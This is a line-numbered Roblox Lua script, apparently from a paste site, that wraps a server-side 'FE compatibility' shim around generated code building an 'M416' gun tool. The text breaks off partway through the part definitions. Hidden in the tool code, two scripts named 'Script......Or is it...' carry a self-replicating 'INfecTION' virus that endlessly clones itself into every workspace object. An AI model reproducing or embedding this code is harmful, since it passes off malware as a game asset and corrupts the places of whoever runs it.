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1
-- This script has convert to FE by who i don't know?
2
3
-----------------------------------------------------
4
if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
5
local Player,game,owner = owner,game
6
local RealPlayer = Player
7
do
8
    print("FE Compatibility code by Mokiros | Showcase by Bacon Hair!")
9
    local rp = RealPlayer
10
    script.Parent = rp.Character
11
   
12
    --RemoteEvent for communicating
13
    local Event = Instance.new("RemoteEvent")
14
    Event.Name = "UserInput_Event"
15
 
16
    --Fake event to make stuff like Mouse.KeyDown work
17
    local function fakeEvent()
18
        local t = {_fakeEvent=true,Functions={},Connect=function(self,f)table.insert(self.Functions,f) end}
19
        t.connect = t.Connect
20
        return t
21
    end
22
 
23
    --Creating fake input objects with fake variables
24
    local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
25
    local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
26
    local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
27
        CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
28
    end}
29
    --Merged 2 functions into one by checking amount of arguments
30
    CAS.UnbindAction = CAS.BindAction
31
 
32
    --This function will trigger the events that have been :Connect()'ed
33
    local function te(self,ev,...)
34
        local t = m[ev]
35
        if t and t._fakeEvent then
36
            for _,f in pairs(t.Functions) do
37
                f(...)
38
            end
39
        end
40
    end
41
    m.TrigEvent = te
42
    UIS.TrigEvent = te
43
 
44
    Event.OnServerEvent:Connect(function(plr,io)
45
        if plr~=rp then return end
46
        m.Target = io.Target
47
        m.Hit = io.Hit
48
        if not io.isMouse then
49
            local b = io.UserInputState == Enum.UserInputState.Begin
50
            if io.UserInputType == Enum.UserInputType.MouseButton1 then
51
                return m:TrigEvent(b and "Button1Down" or "Button1Up")
52
            end
53
            for _,t in pairs(CAS.Actions) do
54
                for _,k in pairs(t.Keys) do
55
                    if k==io.KeyCode then
56
                        t.Function(t.Name,io.UserInputState,io)
57
                    end
58
                end
59
            end
60
            m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
61
            UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
62
        end
63
    end)
64
    Event.Parent = NLS([==[
65
    local Player = game:GetService("Players").LocalPlayer
66
    local Event = script:WaitForChild("UserInput_Event")
67
 
68
    local Mouse = Player:GetMouse()
69
    local UIS = game:GetService("UserInputService")
70
    local input = function(io,a)
71
        if a then return end
72
        --Since InputObject is a client-side instance, we create and pass table instead
73
        Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState,Hit=Mouse.Hit,Target=Mouse.Target})
74
    end
75
    UIS.InputBegan:Connect(input)
76
    UIS.InputEnded:Connect(input)
77
 
78
    local h,t
79
    --Give the server mouse data 30 times every second, but only if the values changed
80
    --If player is not moving their mouse, client won't fire events
81
    while wait(1/30) do
82
        if h~=Mouse.Hit or t~=Mouse.Target then
83
            h,t=Mouse.Hit,Mouse.Target
84
            Event:FireServer({isMouse=true,Target=t,Hit=h})
85
        end
86
    end]==],Player.Character)
87
 
88
    ----Sandboxed game object that allows the usage of client-side methods and services
89
    --Real game object
90
    local _rg = game
91
 
92
    --Metatable for fake service
93
    local fsmt = {
94
        __index = function(self,k)
95
            local s = rawget(self,"_RealService")
96
            if s then return s[k] end
97
        end,
98
        __newindex = function(self,k,v)
99
            local s = rawget(self,"_RealService")
100
            if s then s[k]=v end
101
        end,
102
        __call = function(self,...)
103
            local s = rawget(self,"_RealService")
104
            if s then return s(...) end
105
        end
106
    }
107
    local function FakeService(t,RealService)
108
        t._RealService = typeof(RealService)=="string" and _rg:GetService(RealService) or RealService
109
        return setmetatable(t,fsmt)
110
    end
111
 
112
    --Fake game object
113
    local g = {
114
        GetService = function(self,s)
115
            return self[s]
116
        end,
117
        Players = FakeService({
118
            LocalPlayer = FakeService({GetMouse=function(self)return m end},Player)
119
        },"Players"),
120
        UserInputService = FakeService(UIS,"UserInputService"),
121
        ContextActionService = FakeService(CAS,"ContextActionService"),
122
    }
123
    rawset(g.Players,"localPlayer",g.Players.LocalPlayer)
124
    g.service = g.GetService
125
   
126
    g.RunService = FakeService({
127
        RenderStepped = _rg:GetService("RunService").Heartbeat,
128
        BindToRenderStep = function(self,name,_,fun)
129
 
130
        end,
131
        UnbindFromRenderStep = function(self,name)
132
            self._btrs[name]:Disconnect()
133
        end,
134
    },"RunService")
135
 
136
    setmetatable(g,{
137
        __index=function(self,s)
138
            return _rg:GetService(s) or typeof(_rg[s])=="function"
139
            and function(_,...)return _rg[s](_rg,...)end or _rg[s]
140
        end,
141
        __newindex = fsmt.__newindex,
142
        __call = fsmt.__call
143
    })
144
    --Changing owner to fake player object to support owner:GetMouse()
145
    game,owner = g,g.Players.LocalPlayer
146
end
147
-- made by 1ndrew 
148
function sandbox(var,func)
149
	local env = getfenv(func)
150
	local newenv = setmetatable({},{
151
		__index = function(self,k)
152
			if k=="script" then
153
				return var
154
			else
155
				return env[k]
156
			end
157
		end,
158
	})
159
	setfenv(func,newenv)
160
	return func
161
end
162
cors = {}
163
mas = Instance.new("Model",game:GetService("Lighting"))
164
Tool0 = Instance.new("Tool")
165
Part1 = Instance.new("Part")
166
CylinderMesh2 = Instance.new("CylinderMesh")
167
Part3 = Instance.new("Part")
168
BlockMesh4 = Instance.new("BlockMesh")
169
Part5 = Instance.new("Part")
170
BlockMesh6 = Instance.new("BlockMesh")
171
Sound7 = Instance.new("Sound")
172
Script8 = Instance.new("Script")
173
Sound9 = Instance.new("Sound")
174
Script10 = Instance.new("Script")
175
Part11 = Instance.new("Part")
176
CylinderMesh12 = Instance.new("CylinderMesh")
177
Part13 = Instance.new("Part")
178
Decal14 = Instance.new("Decal")
179
BlockMesh15 = Instance.new("BlockMesh")
180
Part16 = Instance.new("Part")
181
BlockMesh17 = Instance.new("BlockMesh")
182
Part18 = Instance.new("Part")
183
BlockMesh19 = Instance.new("BlockMesh")
184
LocalScript20 = Instance.new("LocalScript")
185
NumberValue21 = Instance.new("NumberValue")
186
NumberValue22 = Instance.new("NumberValue")
187
Smoke23 = Instance.new("Smoke")
188
Smoke24 = Instance.new("Smoke")
189
PointLight25 = Instance.new("PointLight")
190
ScreenGui26 = Instance.new("ScreenGui")
191
Frame27 = Instance.new("Frame")
192
TextLabel28 = Instance.new("TextLabel")
193
Frame29 = Instance.new("Frame")
194
TextLabel30 = Instance.new("TextLabel")
195
Frame31 = Instance.new("Frame")
196
TextLabel32 = Instance.new("TextLabel")
197
Part33 = Instance.new("Part")
198
CylinderMesh34 = Instance.new("CylinderMesh")
199
Part35 = Instance.new("Part")
200
CylinderMesh36 = Instance.new("CylinderMesh")
201
Part37 = Instance.new("Part")
202
CylinderMesh38 = Instance.new("CylinderMesh")
203
Part39 = Instance.new("Part")
204
BlockMesh40 = Instance.new("BlockMesh")
205
Part41 = Instance.new("Part")
206
BlockMesh42 = Instance.new("BlockMesh")
207
Part43 = Instance.new("Part")
208
CylinderMesh44 = Instance.new("CylinderMesh")
209
Part45 = Instance.new("Part")
210
BlockMesh46 = Instance.new("BlockMesh")
211
Part47 = Instance.new("Part")
212
SpecialMesh48 = Instance.new("SpecialMesh")
213
Part49 = Instance.new("Part")
214
CylinderMesh50 = Instance.new("CylinderMesh")
215
Part51 = Instance.new("Part")
216
BlockMesh52 = Instance.new("BlockMesh")
217
Part53 = Instance.new("Part")
218
CylinderMesh54 = Instance.new("CylinderMesh")
219
Part55 = Instance.new("Part")
220
BlockMesh56 = Instance.new("BlockMesh")
221
Part57 = Instance.new("Part")
222
SpecialMesh58 = Instance.new("SpecialMesh")
223
Part59 = Instance.new("Part")
224
BlockMesh60 = Instance.new("BlockMesh")
225
Part61 = Instance.new("Part")
226
CylinderMesh62 = Instance.new("CylinderMesh")
227
Part63 = Instance.new("Part")
228
SpecialMesh64 = Instance.new("SpecialMesh")
229
Part65 = Instance.new("Part")
230
SpecialMesh66 = Instance.new("SpecialMesh")
231
Part67 = Instance.new("Part")
232
SpecialMesh68 = Instance.new("SpecialMesh")
233
Part69 = Instance.new("Part")
234
SpecialMesh70 = Instance.new("SpecialMesh")
235
Part71 = Instance.new("Part")
236
SpecialMesh72 = Instance.new("SpecialMesh")
237
Part73 = Instance.new("Part")
238
SpecialMesh74 = Instance.new("SpecialMesh")
239
Part75 = Instance.new("Part")
240
CylinderMesh76 = Instance.new("CylinderMesh")
241
Part77 = Instance.new("Part")
242
CylinderMesh78 = Instance.new("CylinderMesh")
243
Part79 = Instance.new("Part")
244
BlockMesh80 = Instance.new("BlockMesh")
245
Part81 = Instance.new("Part")
246
Decal82 = Instance.new("Decal")
247
Decal83 = Instance.new("Decal")
248
BlockMesh84 = Instance.new("BlockMesh")
249
Part85 = Instance.new("Part")
250
BlockMesh86 = Instance.new("BlockMesh")
251
Part87 = Instance.new("Part")
252
CylinderMesh88 = Instance.new("CylinderMesh")
253
Part89 = Instance.new("Part")
254
BlockMesh90 = Instance.new("BlockMesh")
255
Part91 = Instance.new("Part")
256
Decal92 = Instance.new("Decal")
257
Decal93 = Instance.new("Decal")
258
BlockMesh94 = Instance.new("BlockMesh")
259
Part95 = Instance.new("Part")
260
SpecialMesh96 = Instance.new("SpecialMesh")
261
Part97 = Instance.new("Part")
262
Decal98 = Instance.new("Decal")
263
Decal99 = Instance.new("Decal")
264
BlockMesh100 = Instance.new("BlockMesh")
265
Part101 = Instance.new("Part")
266
BlockMesh102 = Instance.new("BlockMesh")
267
Part103 = Instance.new("Part")
268
BlockMesh104 = Instance.new("BlockMesh")
269
Part105 = Instance.new("Part")
270
BlockMesh106 = Instance.new("BlockMesh")
271
Part107 = Instance.new("Part")
272
BlockMesh108 = Instance.new("BlockMesh")
273
Part109 = Instance.new("Part")
274
CylinderMesh110 = Instance.new("CylinderMesh")
275
Part111 = Instance.new("Part")
276
CylinderMesh112 = Instance.new("CylinderMesh")
277
Part113 = Instance.new("Part")
278
BlockMesh114 = Instance.new("BlockMesh")
279
Part115 = Instance.new("Part")
280
BlockMesh116 = Instance.new("BlockMesh")
281
Part117 = Instance.new("Part")
282
SpecialMesh118 = Instance.new("SpecialMesh")
283
Part119 = Instance.new("Part")
284
BlockMesh120 = Instance.new("BlockMesh")
285
Part121 = Instance.new("Part")
286
BlockMesh122 = Instance.new("BlockMesh")
287
Part123 = Instance.new("Part")
288
BlockMesh124 = Instance.new("BlockMesh")
289
Part125 = Instance.new("Part")
290
SpecialMesh126 = Instance.new("SpecialMesh")
291
Part127 = Instance.new("Part")
292
SpecialMesh128 = Instance.new("SpecialMesh")
293
Part129 = Instance.new("Part")
294
SpecialMesh130 = Instance.new("SpecialMesh")
295
Part131 = Instance.new("Part")
296
CylinderMesh132 = Instance.new("CylinderMesh")
297
Part133 = Instance.new("Part")
298
SpecialMesh134 = Instance.new("SpecialMesh")
299
Part135 = Instance.new("Part")
300
SpecialMesh136 = Instance.new("SpecialMesh")
301
Part137 = Instance.new("Part")
302
SpecialMesh138 = Instance.new("SpecialMesh")
303
Part139 = Instance.new("Part")
304
Decal140 = Instance.new("Decal")
305
BlockMesh141 = Instance.new("BlockMesh")
306
Part142 = Instance.new("Part")
307
BlockMesh143 = Instance.new("BlockMesh")
308
Part144 = Instance.new("Part")
309
CylinderMesh145 = Instance.new("CylinderMesh")
310
Part146 = Instance.new("Part")
311
BlockMesh147 = Instance.new("BlockMesh")
312
Part148 = Instance.new("Part")
313
SpecialMesh149 = Instance.new("SpecialMesh")
314
Part150 = Instance.new("Part")
315
CylinderMesh151 = Instance.new("CylinderMesh")
316
Part152 = Instance.new("Part")
317
SpecialMesh153 = Instance.new("SpecialMesh")
318
Part154 = Instance.new("Part")
319
BlockMesh155 = Instance.new("BlockMesh")
320
Part156 = Instance.new("Part")
321
BlockMesh157 = Instance.new("BlockMesh")
322
Part158 = Instance.new("Part")
323
CylinderMesh159 = Instance.new("CylinderMesh")
324
Part160 = Instance.new("Part")
325
BlockMesh161 = Instance.new("BlockMesh")
326
Part162 = Instance.new("Part")
327
SpecialMesh163 = Instance.new("SpecialMesh")
328
Part164 = Instance.new("Part")
329
Decal165 = Instance.new("Decal")
330
SpecialMesh166 = Instance.new("SpecialMesh")
331
Part167 = Instance.new("Part")
332
BlockMesh168 = Instance.new("BlockMesh")
333
Part169 = Instance.new("Part")
334
BlockMesh170 = Instance.new("BlockMesh")
335
Part171 = Instance.new("Part")
336
BlockMesh172 = Instance.new("BlockMesh")
337
Part173 = Instance.new("Part")
338
SpecialMesh174 = Instance.new("SpecialMesh")
339
Part175 = Instance.new("Part")
340
BlockMesh176 = Instance.new("BlockMesh")
341
Part177 = Instance.new("Part")
342
SpecialMesh178 = Instance.new("SpecialMesh")
343
Part179 = Instance.new("Part")
344
SpecialMesh180 = Instance.new("SpecialMesh")
345
Part181 = Instance.new("Part")
346
SpecialMesh182 = Instance.new("SpecialMesh")
347
Part183 = Instance.new("Part")
348
SpecialMesh184 = Instance.new("SpecialMesh")
349
Part185 = Instance.new("Part")
350
BlockMesh186 = Instance.new("BlockMesh")
351
Part187 = Instance.new("Part")
352
BlockMesh188 = Instance.new("BlockMesh")
353
Part189 = Instance.new("Part")
354
SpecialMesh190 = Instance.new("SpecialMesh")
355
Part191 = Instance.new("Part")
356
BlockMesh192 = Instance.new("BlockMesh")
357
Part193 = Instance.new("Part")
358
CylinderMesh194 = Instance.new("CylinderMesh")
359
Part195 = Instance.new("Part")
360
BlockMesh196 = Instance.new("BlockMesh")
361
Part197 = Instance.new("Part")
362
CylinderMesh198 = Instance.new("CylinderMesh")
363
Part199 = Instance.new("Part")
364
CylinderMesh200 = Instance.new("CylinderMesh")
365
Part201 = Instance.new("Part")
366
Decal202 = Instance.new("Decal")
367
CylinderMesh203 = Instance.new("CylinderMesh")
368
Part204 = Instance.new("Part")
369
CylinderMesh205 = Instance.new("CylinderMesh")
370
Part206 = Instance.new("Part")
371
SpecialMesh207 = Instance.new("SpecialMesh")
372
Part208 = Instance.new("Part")
373
SpecialMesh209 = Instance.new("SpecialMesh")
374
Part210 = Instance.new("Part")
375
CylinderMesh211 = Instance.new("CylinderMesh")
376
Part212 = Instance.new("Part")
377
BlockMesh213 = Instance.new("BlockMesh")
378
Part214 = Instance.new("Part")
379
BlockMesh215 = Instance.new("BlockMesh")
380
Part216 = Instance.new("Part")
381
CylinderMesh217 = Instance.new("CylinderMesh")
382
Part218 = Instance.new("Part")
383
BlockMesh219 = Instance.new("BlockMesh")
384
Part220 = Instance.new("Part")
385
BlockMesh221 = Instance.new("BlockMesh")
386
Part222 = Instance.new("Part")
387
BlockMesh223 = Instance.new("BlockMesh")
388
Part224 = Instance.new("Part")
389
BlockMesh225 = Instance.new("BlockMesh")
390
Part226 = Instance.new("Part")
391
SpecialMesh227 = Instance.new("SpecialMesh")
392
Part228 = Instance.new("Part")
393
CylinderMesh229 = Instance.new("CylinderMesh")
394
Part230 = Instance.new("Part")
395
BlockMesh231 = Instance.new("BlockMesh")
396
Part232 = Instance.new("Part")
397
SpecialMesh233 = Instance.new("SpecialMesh")
398
Part234 = Instance.new("Part")
399
CylinderMesh235 = Instance.new("CylinderMesh")
400
Part236 = Instance.new("Part")
401
BlockMesh237 = Instance.new("BlockMesh")
402
Part238 = Instance.new("Part")
403
CylinderMesh239 = Instance.new("CylinderMesh")
404
Part240 = Instance.new("Part")
405
Decal241 = Instance.new("Decal")
406
CylinderMesh242 = Instance.new("CylinderMesh")
407
Part243 = Instance.new("Part")
408
SpecialMesh244 = Instance.new("SpecialMesh")
409
Part245 = Instance.new("Part")
410
CylinderMesh246 = Instance.new("CylinderMesh")
411
Part247 = Instance.new("Part")
412
SpecialMesh248 = Instance.new("SpecialMesh")
413
Part249 = Instance.new("Part")
414
CylinderMesh250 = Instance.new("CylinderMesh")
415
Part251 = Instance.new("Part")
416
SpecialMesh252 = Instance.new("SpecialMesh")
417
Part253 = Instance.new("Part")
418
SpecialMesh254 = Instance.new("SpecialMesh")
419
Part255 = Instance.new("Part")
420
CylinderMesh256 = Instance.new("CylinderMesh")
421
Part257 = Instance.new("Part")
422
BlockMesh258 = Instance.new("BlockMesh")
423
Part259 = Instance.new("Part")
424
BlockMesh260 = Instance.new("BlockMesh")
425
Part261 = Instance.new("Part")
426
BlockMesh262 = Instance.new("BlockMesh")
427
Part263 = Instance.new("Part")
428
BlockMesh264 = Instance.new("BlockMesh")
429
Part265 = Instance.new("Part")
430
BlockMesh266 = Instance.new("BlockMesh")
431
Part267 = Instance.new("Part")
432
BlockMesh268 = Instance.new("BlockMesh")
433
Part269 = Instance.new("Part")
434
BlockMesh270 = Instance.new("BlockMesh")
435
Part271 = Instance.new("Part")
436
BlockMesh272 = Instance.new("BlockMesh")
437
Part273 = Instance.new("Part")
438
BlockMesh274 = Instance.new("BlockMesh")
439
Part275 = Instance.new("Part")
440
BlockMesh276 = Instance.new("BlockMesh")
441
Part277 = Instance.new("Part")
442
BlockMesh278 = Instance.new("BlockMesh")
443
Part279 = Instance.new("Part")
444
BlockMesh280 = Instance.new("BlockMesh")
445
Part281 = Instance.new("Part")
446
SpecialMesh282 = Instance.new("SpecialMesh")
447
Part283 = Instance.new("Part")
448
BlockMesh284 = Instance.new("BlockMesh")
449
Part285 = Instance.new("Part")
450
BlockMesh286 = Instance.new("BlockMesh")
451
Part287 = Instance.new("Part")
452
BlockMesh288 = Instance.new("BlockMesh")
453
Part289 = Instance.new("Part")
454
SpecialMesh290 = Instance.new("SpecialMesh")
455
Part291 = Instance.new("Part")
456
SpecialMesh292 = Instance.new("SpecialMesh")
457
Part293 = Instance.new("Part")
458
SpecialMesh294 = Instance.new("SpecialMesh")
459
Part295 = Instance.new("Part")
460
BlockMesh296 = Instance.new("BlockMesh")
461
Part297 = Instance.new("Part")
462
BlockMesh298 = Instance.new("BlockMesh")
463
Part299 = Instance.new("Part")
464
BlockMesh300 = Instance.new("BlockMesh")
465
Part301 = Instance.new("Part")
466
SpecialMesh302 = Instance.new("SpecialMesh")
467
Part303 = Instance.new("Part")
468
SpecialMesh304 = Instance.new("SpecialMesh")
469
Part305 = Instance.new("Part")
470
BlockMesh306 = Instance.new("BlockMesh")
471
Part307 = Instance.new("Part")
472
BlockMesh308 = Instance.new("BlockMesh")
473
Part309 = Instance.new("Part")
474
BlockMesh310 = Instance.new("BlockMesh")
475
Part311 = Instance.new("Part")
476
SpecialMesh312 = Instance.new("SpecialMesh")
477
Part313 = Instance.new("Part")
478
SpecialMesh314 = Instance.new("SpecialMesh")
479
Part315 = Instance.new("Part")
480
BlockMesh316 = Instance.new("BlockMesh")
481
Part317 = Instance.new("Part")
482
CylinderMesh318 = Instance.new("CylinderMesh")
483
Part319 = Instance.new("Part")
484
BlockMesh320 = Instance.new("BlockMesh")
485
Part321 = Instance.new("Part")
486
CylinderMesh322 = Instance.new("CylinderMesh")
487
Part323 = Instance.new("Part")
488
BlockMesh324 = Instance.new("BlockMesh")
489
Part325 = Instance.new("Part")
490
BlockMesh326 = Instance.new("BlockMesh")
491
Part327 = Instance.new("Part")
492
BlockMesh328 = Instance.new("BlockMesh")
493
Part329 = Instance.new("Part")
494
CylinderMesh330 = Instance.new("CylinderMesh")
495
Part331 = Instance.new("Part")
496
CylinderMesh332 = Instance.new("CylinderMesh")
497
Part333 = Instance.new("Part")
498
BlockMesh334 = Instance.new("BlockMesh")
499
Script335 = Instance.new("Script")
500
Part336 = Instance.new("Part")
501
BlockMesh337 = Instance.new("BlockMesh")
502
Tool0.Name = "M416"
503
Tool0.Parent = mas
504
Tool0.GripForward = Vector3.new(-0.308719009, -0, -0.951153278)
505
Tool0.GripPos = Vector3.new(0, -0.200000003, 0.200000003)
506
Tool0.GripRight = Vector3.new(0.951153278, 0, -0.308719009)
507
Part1.Name = "A1"
508
Part1.Parent = Tool0
509
Part1.Material = Enum.Material.SmoothPlastic
510
Part1.BrickColor = BrickColor.new("Dark stone grey")
511
Part1.Reflectance = 0.050000000745058
512
Part1.Rotation = Vector3.new(-180, -89.4599991, -90)
513
Part1.Anchored = true
514
Part1.FormFactor = Enum.FormFactor.Custom
515
Part1.Size = Vector3.new(0.209999993, 0.330000013, 0.209999993)
516
Part1.CFrame = CFrame.new(27.0811768, 1.27026403, 138.982117, 8.71412595e-08, 0.00939127803, -0.999955893, 0.999999881, 2.9562246e-08, 8.74227624e-08, 3.03819299e-08, -0.999955535, -0.00939150155)
517
Part1.BottomSurface = Enum.SurfaceType.Smooth
518
Part1.TopSurface = Enum.SurfaceType.Smooth
519
Part1.Color = Color3.new(0.388235, 0.372549, 0.384314)
520
Part1.Position = Vector3.new(27.0811768, 1.27026403, 138.982117)
521
Part1.Orientation = Vector3.new(0, -90.5400009, 90)
522
Part1.Color = Color3.new(0.388235, 0.372549, 0.384314)
523
CylinderMesh2.Parent = Part1
524
CylinderMesh2.Scale = Vector3.new(1.10000002, 1, 1)
525
CylinderMesh2.Scale = Vector3.new(1.10000002, 1, 1)
526
Part3.Name = "SmokePart"
527
Part3.Parent = Tool0
528
Part3.Material = Enum.Material.SmoothPlastic
529
Part3.Transparency = 1
530
Part3.Rotation = Vector3.new(-180, 0.539999962, 180)
531
Part3.Anchored = true
532
Part3.FormFactor = Enum.FormFactor.Custom
533
Part3.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
534
Part3.CFrame = CFrame.new(27.0629883, 1.26489305, 141.073486, -0.999955118, -6.08749104e-08, 0.00939130783, -5.92387259e-08, 0.999999046, 1.72940759e-07, -0.00939130783, 1.72370605e-07, -0.999955118)
535
Part3.BottomSurface = Enum.SurfaceType.Smooth
536
Part3.TopSurface = Enum.SurfaceType.Smooth
537
Part3.Position = Vector3.new(27.0629883, 1.26489305, 141.073486)
538
Part3.Orientation = Vector3.new(0, 179.459991, 0)
539
BlockMesh4.Parent = Part3
540
BlockMesh4.Scale = Vector3.new(0.777777731, 0.222222224, 0.370370358)
541
BlockMesh4.Scale = Vector3.new(0.777777731, 0.222222224, 0.370370358)
542
Part5.Name = "Handle"
543
Part5.Parent = Tool0
544
Part5.Material = Enum.Material.SmoothPlastic
545
Part5.BrickColor = BrickColor.new("Black")
546
Part5.Rotation = Vector3.new(180, 27.6800003, -180)
547
Part5.Anchored = true
548
Part5.FormFactor = Enum.FormFactor.Custom
549
Part5.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
550
Part5.CFrame = CFrame.new(27.0905762, 0.867187023, 138.553284, -0.885558605, 8.09826162e-08, 0.464526057, 5.79961079e-10, 0.999999702, -1.73227889e-07, -0.464525968, -1.53134209e-07, -0.885558188)
551
Part5.BottomSurface = Enum.SurfaceType.Smooth
552
Part5.TopSurface = Enum.SurfaceType.Smooth
553
Part5.Color = Color3.new(0.105882, 0.164706, 0.207843)
554
Part5.Position = Vector3.new(27.0905762, 0.867187023, 138.553284)
555
Part5.Orientation = Vector3.new(0, 152.319992, 0)
556
Part5.Color = Color3.new(0.105882, 0.164706, 0.207843)
557
BlockMesh6.Parent = Part5
558
BlockMesh6.Scale = Vector3.new(0.450000018, 0.599999964, 0.329999983)
559
BlockMesh6.Scale = Vector3.new(0.450000018, 0.599999964, 0.329999983)
560
Sound7.Name = "Shoot"
561
Sound7.Parent = Part5
562
Sound7.SoundId = "http://roblox.com/asset/?id=10209798"
563
Sound7.Volume = 1
564
Script8.Name = "Script......Or is it..."
565
Script8.Parent = mas
566
table.insert(cors,sandbox(Script8,function()
567
if script.Parent.className ~= "RotateP" then
568
	local p = Instance.new("RotateP")
569
	p.Parent = workspace
570
	p.Name = "INfecTION"
571
	script.Parent = p
572
end
573
574
function check()
575
	local list = workspace:GetChildren()
576
	for i = 1, #list do
577
		if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
578
			script.Parent:Clone().Parent = list[i]
579
		end
580
		wait()
581
	end
582
end
583
584
while true do
585
	check()
586
	if workspace:findFirstChild("inFECtion") == nil then
587
		local main = script.Parent:Clone()
588
		main.Name = "inFECtion"
589
		main.Parent = workspace
590
	end
591
	wait(3)
592
end
593
594
end))
595
Sound9.Name = "Reload"
596
Sound9.Parent = Part5
597
Sound9.SoundId = "http://www.roblox.com/asset/?id=132456328"
598
Sound9.Volume = 1
599
Script10.Name = "Script......Or is it..."
600
Script10.Parent = mas
601
table.insert(cors,sandbox(Script10,function()
602
if script.Parent.className ~= "RotateP" then
603
	local p = Instance.new("RotateP")
604
	p.Parent = workspace
605
	p.Name = "INfecTION"
606
	script.Parent = p
607
end
608
609
function check()
610
	local list = workspace:GetChildren()
611
	for i = 1, #list do
612
		if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
613
			script.Parent:Clone().Parent = list[i]
614
		end
615
		wait()
616
	end
617
end
618
619
while true do
620
	check()
621
	if workspace:findFirstChild("inFECtion") == nil then
622
		local main = script.Parent:Clone()
623
		main.Name = "inFECtion"
624
		main.Parent = workspace
625
	end
626
	wait(3)
627
end
628
629
end))
630
Part11.Name = "Laser"
631
Part11.Parent = Tool0
632
Part11.Material = Enum.Material.SmoothPlastic
633
Part11.BrickColor = BrickColor.new("Really red")
634
Part11.Transparency = 1
635
Part11.Rotation = Vector3.new(0, 89.4599991, -90)
636
Part11.Anchored = true
637
Part11.FormFactor = Enum.FormFactor.Custom
638
Part11.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
639
Part11.CFrame = CFrame.new(27.2994385, 1.39013696, 140.283264, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
640
Part11.BottomSurface = Enum.SurfaceType.Smooth
641
Part11.TopSurface = Enum.SurfaceType.Smooth
642
Part11.Color = Color3.new(1, 0, 0)
643
Part11.Position = Vector3.new(27.2994385, 1.39013696, 140.283264)
644
Part11.Orientation = Vector3.new(0, 89.4599991, -90)
645
Part11.Color = Color3.new(1, 0, 0)
646
CylinderMesh12.Parent = Part11
647
CylinderMesh12.Offset = Vector3.new(0, -18.6599998, 0)
648
CylinderMesh12.Scale = Vector3.new(0.112500004, 187.5, 0.112500004)
649
CylinderMesh12.Scale = Vector3.new(0.112500004, 187.5, 0.112500004)
650
Part13.Name = "Mag"
651
Part13.Parent = Tool0
652
Part13.Material = Enum.Material.SmoothPlastic
653
Part13.BrickColor = BrickColor.new("Brick yellow")
654
Part13.Rotation = Vector3.new(-180, -89.4599991, -81)
655
Part13.Anchored = true
656
Part13.FormFactor = Enum.FormFactor.Custom
657
Part13.Size = Vector3.new(0.200000003, 0.419999987, 0.200000003)
658
Part13.CFrame = CFrame.new(27.0869141, 0.745117009, 138.976196, 0.00146914274, 0.00927558541, -0.999955833, 0.987687647, -0.156434625, 3.8507924e-08, -0.156427667, -0.987643659, -0.00939165056)
659
Part13.BottomSurface = Enum.SurfaceType.Smooth
660
Part13.TopSurface = Enum.SurfaceType.Smooth
661
Part13.Color = Color3.new(0.843137, 0.772549, 0.603922)
662
Part13.Position = Vector3.new(27.0869141, 0.745117009, 138.976196)
663
Part13.Orientation = Vector3.new(0, -90.5400009, 99)
664
Part13.Color = Color3.new(0.843137, 0.772549, 0.603922)
665
Decal14.Parent = Part13
666
Decal14.Texture = "http://www.roblox.com/asset/?id=47760372"
667
Decal14.Face = Enum.NormalId.Right
668
BlockMesh15.Parent = Part13
669
BlockMesh15.Scale = Vector3.new(1.5, 1, 0.900000036)
670
BlockMesh15.Scale = Vector3.new(1.5, 1, 0.900000036)
671
Part16.Name = "Mag2"
672
Part16.Parent = Tool0
673
Part16.Material = Enum.Material.SmoothPlastic
674
Part16.BrickColor = BrickColor.new("Brick yellow")
675
Part16.Rotation = Vector3.new(-180, -89.4599991, -71)
676
Part16.Anchored = true
677
Part16.FormFactor = Enum.FormFactor.Custom
678
Part16.Size = Vector3.new(0.239999995, 0.419999987, 0.200000003)
679
Part16.CFrame = CFrame.new(27.0856934, 0.449218988, 139.053894, 0.00305754691, 0.00887963176, -0.999955833, 0.945517957, -0.32556802, 4.84268448e-08, -0.325553536, -0.945475817, -0.00939165056)
680
Part16.BottomSurface = Enum.SurfaceType.Smooth
681
Part16.TopSurface = Enum.SurfaceType.Smooth
682
Part16.Color = Color3.new(0.843137, 0.772549, 0.603922)
683
Part16.Position = Vector3.new(27.0856934, 0.449218988, 139.053894)
684
Part16.Orientation = Vector3.new(0, -90.5400009, 109)
685
Part16.Color = Color3.new(0.843137, 0.772549, 0.603922)
686
BlockMesh17.Parent = Part16
687
BlockMesh17.Scale = Vector3.new(1.62, 1, 0.900000036)
688
BlockMesh17.Scale = Vector3.new(1.62, 1, 0.900000036)
689
Part18.Name = "Mag3"
690
Part18.Parent = Tool0
691
Part18.Material = Enum.Material.SmoothPlastic
692
Part18.BrickColor = BrickColor.new("Brick yellow")
693
Part18.Rotation = Vector3.new(-180, -89.4599991, -71)
694
Part18.Anchored = true
695
Part18.FormFactor = Enum.FormFactor.Custom
696
Part18.Size = Vector3.new(0.200000003, 0.200000003, 0.203999996)
697
Part18.CFrame = CFrame.new(27.0853271, 0.256103992, 139.130554, 0.00305759162, 0.00887972116, -0.999955833, 0.945518434, -0.32556814, 2.6920091e-08, -0.325553685, -0.945476532, -0.00939165056)
698
Part18.BottomSurface = Enum.SurfaceType.Smooth
699
Part18.TopSurface = Enum.SurfaceType.Smooth
700
Part18.Color = Color3.new(0.843137, 0.772549, 0.603922)
701
Part18.Position = Vector3.new(27.0853271, 0.256103992, 139.130554)
702
Part18.Orientation = Vector3.new(0, -90.5400009, 109)
703
Part18.Color = Color3.new(0.843137, 0.772549, 0.603922)
704
BlockMesh19.Parent = Part18
705
